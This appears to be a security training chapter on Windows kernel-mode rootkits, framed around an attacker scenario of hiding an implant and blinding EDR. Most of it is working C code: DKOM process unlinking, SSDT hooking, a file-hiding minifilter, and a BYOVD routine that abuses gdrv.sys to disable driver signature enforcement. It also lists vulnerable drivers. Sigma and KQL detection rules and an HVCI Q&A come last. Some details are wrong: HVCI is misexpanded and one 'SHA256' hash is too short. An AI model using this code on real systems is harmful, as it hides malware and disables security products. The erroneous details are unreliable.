Chapter 197

Kernel-Mode Rootkits

Kernel-mode rootkits operate at Ring 0 — the same privilege level as the OS kernel — giving them absolute authority over what the OS and every usermode process can see and do. They hide processes, intercept filesystem I/O, silently drop network connections, and disable security products. Modern Windows enforces Kernel Patch Protection (KPP/PatchGuard) and Driver Signature Enforcement (DSE), but these are bypassed via BYOVD (Bring Your Own Vulnerable Driver) — a technique used in Lazarus, BlackMatter, and BlackByte campaigns. Detection requires hypervisor-level visibility, firmware integrity checks, or out-of-band memory forensics.

Scenario

You have SYSTEM privileges on a target Windows 11 endpoint. EDR is running as a PPL (Protected Process Light) and cannot be killed from usermode. Your goal: load a kernel driver that hides your implant's process from the process list (DKOM), blocks the EDR minifilter driver's file-system callbacks from seeing your payload writes, and survives a reboot via a signed driver service.

Kernel-Mode Architecture

WINDOWS KERNEL SECURITY LAYERS ═══════════════════════════════════════════════════════════════════════ Ring 3 (User Mode): Applications, services, EDR user-mode components Ring 0 (Kernel Mode): ntoskrnl.exe, drivers, EDR kernel component (minifilter) Ring -1 (Hypervisor): Hyper-V / VBS — Credential Guard, HVCI Ring -2 (Firmware): UEFI / SMM — below OS visibility KERNEL SECURITY CONTROLS: ┌────────────────────────────────────────────────────────────────┐ │ DSE Driver Signature Enforcement — only WHQL-signed drivers │ │ HVCI Hardware-enforced Stack Integrity — blocks unsigned code │ │ KPP PatchGuard — detects SSDT/IDT patches, crashes system │ │ PPL Protected Process Light — protects security processes │ └────────────────────────────────────────────────────────────────┘ BYOVD BYPASS PATH: Load legitimate signed but VULNERABLE driver (e.g., gdrv.sys, rtcore64.sys) → exploit kernel R/W primitive exposed by vulnerable driver → patch DSE (ci.dll g_CiEnabled = 0) to disable signature check → load unsigned malicious driver ═══════════════════════════════════════════════════════════════════════

DKOM — Direct Kernel Object Manipulation

// DKOM process hiding: remove the EPROCESS structure from the doubly-linked list
// that NtQuerySystemInformation / EnumProcesses walks.
// After removal, tools like Task Manager, Process Explorer, and EDR process enumeration
// all miss the process. The process is still running; threads still execute.
// Note: PID still visible in some kernel structures; port scans can reveal network activity.

// From kernel driver context (Ring 0):

// EPROCESS.ActiveProcessLinks is at offset that varies by Windows version.
// Common offsets (obtain dynamically from PDB or hardcode per OS version):
//   Win10 1903+: EPROCESS.ActiveProcessLinks = 0x448
//   Win11 22H2:  EPROCESS.ActiveProcessLinks = 0x448

#define EPROCESS_LINKS_OFFSET 0x448

VOID HideProcess(PEPROCESS targetProc) {
    PLIST_ENTRY pList = (PLIST_ENTRY)((ULONG_PTR)targetProc + EPROCESS_LINKS_OFFSET);

    // Unlink from doubly-linked list:
    // prev->Flink = this->Flink
    // next->Blink = this->Blink
    PLIST_ENTRY prev = pList->Blink;
    PLIST_ENTRY next = pList->Flink;
    prev->Flink = next;
    next->Blink = prev;

    // Point entry to itself (avoids crash if something tries to walk it)
    pList->Flink = pList;
    pList->Blink = pList;
}

// Usage from driver: PsLookupProcessByProcessId(pid, &pEProc); HideProcess(pEProc);

SSDT Hooking (pre-PatchGuard context)

// SSDT (System Service Descriptor Table) maps syscall numbers to kernel function pointers.
// Hooking: replace pointer at SSDT[syscall_num] with pointer to hook function.
// PatchGuard monitors SSDT integrity and BSODs (0x109 CRITICAL_STRUCTURE_CORRUPTION) if patched.
// Still relevant for: older OS, custom hypervisors, PatchGuard bypass techniques.

// Find SSDT base: KeServiceDescriptorTable exported symbol
extern SYSTEM_SERVICE_TABLE* KeServiceDescriptorTable;

VOID SsdtHook_NtQuerySystemInfo(ULONG sysCallNum) {
    // Disable write protection (CR0.WP bit)
    KIRQL irql = KeRaiseIrqlToDpcLevel();
    __writecr0(__readcr0() & ~0x10000);

    // Save original and install hook
    PVOID orig = (PVOID)(KeServiceDescriptorTable->ServiceTable[sysCallNum]);
    KeServiceDescriptorTable->ServiceTable[sysCallNum] =
        (ULONG_PTR)HookNtQuerySystemInformation;

    // Re-enable write protection
    __writecr0(__readcr0() | 0x10000);
    KeLowerIrql(irql);
}

// Hook function: call original, then filter out hidden process from results
NTSTATUS HookNtQuerySystemInformation(
    SYSTEM_INFORMATION_CLASS sic, PVOID buf, ULONG len, PULONG ret)
{
    NTSTATUS status = OrigNtQuerySystemInformation(sic, buf, len, ret);
    if (NT_SUCCESS(status) && sic == SystemProcessInformation)
        FilterProcessList(buf);  // remove hidden PID from linked list in output
    return status;
}

Minifilter Driver for Filesystem Hiding

// Windows filesystem minifilter: intercept file I/O at the kernel filter manager.
// Attacker minifilter can:
//   - Hide files from directory enumeration (IRP_MJ_DIRECTORY_CONTROL)
//   - Block reads of payload files (IRP_MJ_READ)
//   - Intercept EDR minifilter callbacks to suppress detections
//   - Pre-completion callback: modify query results before returning to caller

CONST FLT_OPERATION_REGISTRATION Callbacks[] = {
    { IRP_MJ_DIRECTORY_CONTROL, 0, NULL, DirCtrlPostOp },
    { IRP_MJ_OPERATION_END }
};

// Post-operation callback for directory control (enumeration)
FLT_POSTOP_CALLBACK_STATUS DirCtrlPostOp(
    PFLT_CALLBACK_DATA Data,
    PCFLT_RELATED_OBJECTS FltObjects,
    PVOID CompletionContext,
    FLT_POST_OPERATION_FLAGS Flags)
{
    if (Data->Iopb->MinorFunction != IRP_MN_QUERY_DIRECTORY)
        return FLT_POSTOP_FINISHED_PROCESSING;

    // Walk directory result buffer and remove entries matching hidden filenames
    PFILE_DIRECTORY_INFORMATION pEntry =
        (PFILE_DIRECTORY_INFORMATION)Data->Iopb->Parameters.DirectoryControl
            .QueryDirectory.DirectoryBuffer;

    while (pEntry) {
        if (IsHiddenFile(pEntry->FileName, pEntry->FileNameLength)) {
            // Unlink this entry from the results buffer
            if (pEntry->NextEntryOffset == 0) {
                // Last entry: zero out
                RtlZeroMemory(pEntry, sizeof(*pEntry));
            } else {
                // Splice: previous entry's NextEntryOffset skips this entry
                SpliceDirectoryEntry(pEntry);
            }
        }
        if (!pEntry->NextEntryOffset) break;
        pEntry = (PFILE_DIRECTORY_INFORMATION)((BYTE*)pEntry + pEntry->NextEntryOffset);
    }
    return FLT_POSTOP_FINISHED_PROCESSING;
}

BYOVD — Bring Your Own Vulnerable Driver

BYOVD ATTACK CHAIN ═══════════════════════════════════════════════════════════════════════ 1. Drop legitimate signed vulnerable driver (e.g., gdrv.sys from GIGABYTE) → signed by trusted CA → passes DSE 2. Install via sc.exe create + sc.exe start (requires SYSTEM) 3. Communicate via IOCTL DeviceIoControl to exploit kernel R/W primitive 4. Use arbitrary kernel write to: a. Patch ci.dll g_CiEnabled = 0 (disable DSE) OR b. Patch EPROCESS.Protection byte of EDR process = 0 (strip PPL protection) 5. Load unsigned malicious driver OR kill PPL-protected security process 6. Delete the vulnerable driver and its service (clean up) ═══════════════════════════════════════════════════════════════════════ KNOWN BYOVD VULNERABLE DRIVERS: gdrv.sys GIGABYTE overclock driver (arbitrary kernel R/W via IOCTL) RTCore64.sys MSI Afterburner (arbitrary kernel R/W) mhyprot2.sys Genshin Impact anti-cheat (used by BlackByte 2022) dbutildrv2.sys Dell BIOS update driver (arbitrary kernel write) cpuz.sys CPU-Z (kernel read/write IOCTLs)
// BYOVD: use gdrv.sys (GIGABYTE) to write to arbitrary kernel address.
// IOCTL 0xC3502808 with input: { address, value } → writes 8 bytes to kernel address.
// Use to clear g_CiEnabled in ci.dll (enables loading unsigned drivers).

#include <windows.h>

#define GDRV_DEVICE L"\\\\.\\GIO"
#define IOCTL_WRITE 0xC3502808

typedef struct { UINT64 addr; UINT64 value; } WRITE_PRIM;

BOOL KernelWrite8(HANDLE hDev, UINT64 addr, UINT64 val) {
    WRITE_PRIM p = { addr, val };
    DWORD ret;
    return DeviceIoControl(hDev, IOCTL_WRITE,
        &p, sizeof(p), NULL, 0, &ret, NULL);
}

VOID DisableDSE() {
    // Drop and load gdrv.sys (requires SYSTEM + driver in same dir)
    SC_HANDLE hSCM = OpenSCManagerW(NULL, NULL, SC_MANAGER_ALL_ACCESS);
    SC_HANDLE hSvc = CreateServiceW(hSCM, L"GIO", L"GIO", SERVICE_ALL_ACCESS,
        SERVICE_KERNEL_DRIVER, SERVICE_DEMAND_START, SERVICE_ERROR_IGNORE,
        L"C:\\Windows\\Temp\\gdrv.sys", NULL,NULL,NULL,NULL,NULL);
    StartServiceW(hSvc, 0, NULL);

    HANDLE hDev = CreateFileW(GDRV_DEVICE, GENERIC_READ|GENERIC_WRITE,
        0, NULL, OPEN_EXISTING, 0, NULL);

    // Locate g_CiEnabled address in ci.dll (requires kernel symbol resolution)
    UINT64 ciBase = GetKernelModuleBase(L"ci.dll");
    UINT64 gCiEnabled = ciBase + GetExportOffset("ci.dll", "g_CiEnabled");

    // Write 0 to disable signature enforcement
    KernelWrite8(hDev, gCiEnabled, 0);
    CloseHandle(hDev);
}

Detection Engineering

title: Vulnerable Driver Loaded — Known BYOVD Hash
logsource:
  product: windows
  category: driver_load
detection:
  selection:
    EventID: 6  # Sysmon DriverLoad
    Hashes|contains:
      - 'SHA256=31f4cfb4c71da44120752721103a16512444c13c2ac2d857a7e6f13cb679b427'  # gdrv.sys
      - 'SHA256=b2f955b3e6107f831ebe67997f8586d4fe9f3e98'  # RTCore64.sys
  condition: selection
level: critical
tags: [attack.defense_evasion, T1068, T1543.003]

title: Kernel Driver Loaded from Temp or User Directory
logsource:
  product: windows
  category: driver_load
detection:
  selection:
    EventID: 6
    ImageLoaded|contains:
      - '\Temp\'
      - '\AppData\'
      - '\Users\Public\'
  condition: selection
level: high

-- MDE KQL: driver load from suspicious path
DeviceDriverEvents
| where Timestamp > ago(1d)
| where ActionType == "DriverLoad"
| where FolderPath has_any (@"\Temp\",@"\AppData\",@"\Users\Public\")
    or Signer == ""  // unsigned driver
| project Timestamp, DeviceName, FileName, FolderPath, Signer, SHA256

-- MDE KQL: BYOVD IOCTL pattern — DeviceIoControl to known device names
DeviceEvents
| where ActionType == "DriverLoad"
    or ActionType == "KernelDriverLoad"
| project Timestamp, DeviceName, InitiatingProcessFileName,
    AdditionalFields
| where AdditionalFields has_any ("GIO","RTCore64","dbutil","cpuz")

-- Defender KQL: HVCI/VBS driver block
DeviceEvents
| where ActionType == "SecurityPolicyViolation"
| where AdditionalFields has "HVCI"
| project Timestamp, DeviceName, AdditionalFields

Q&A

HVCI (Hypervisor-Protected Code Integrity) is enabled on modern Windows 11 systems. Why does it block BYOVD attacks that successfully bypass DSE, and what attack paths remain open against HVCI-enabled targets?

HVCI uses the hypervisor (Hyper-V Level 1) to enforce that only signed code can be mapped as executable in the kernel. The mechanism: the hypervisor controls the kernel's page tables at Level 2 of the virtualized paging hierarchy (SLAT — Second Level Address Translation). The hypervisor marks any page that hasn't been cryptographically validated as signed driver code as non-executable at the hardware level — the CPU's page walker will raise a fault before the kernel can execute unsigned bytes, regardless of what the guest OS kernel (Ring 0) has written to its own page tables.

This breaks the standard BYOVD exploit path: even if the attacker uses a vulnerable driver to zero out g_CiEnabled (the kernel variable that controls DSE checking), loading and running unsigned driver code still fails. The hypervisor's SLAT enforcement is below the OS — patching ci.dll or g_CiEnabled in the guest kernel only changes what the OS checks, not what the hypervisor allows to execute. There is no g_HvciEnabled to patch; HVCI policy is enforced by the hypervisor which the attacker's kernel-level code cannot modify.

Remaining attack paths against HVCI-enabled targets: (1) Vulnerable signed driver that runs attacker code: some drivers expose APIs that execute caller-provided callbacks or DMA-like operations — the attacker's code runs inside the signed driver's context, which is allowed by HVCI. The challenge is finding a driver with this capability that is also still signed. (2) Hypervisor-level attack: a vulnerability in the hypervisor itself (Hyper-V CVEs) would grant Ring -1 access, bypassing HVCI entirely. These are extremely rare and expensive. (3) UEFI/firmware attack: compromise the UEFI firmware before HVCI initializes (ch198). (4) Social engineering HVCI off: HVCI requires enabling via GPO/MDM and can be disabled by an admin with sufficient privilege — a persistence technique that downgrades the security posture rather than exploiting it.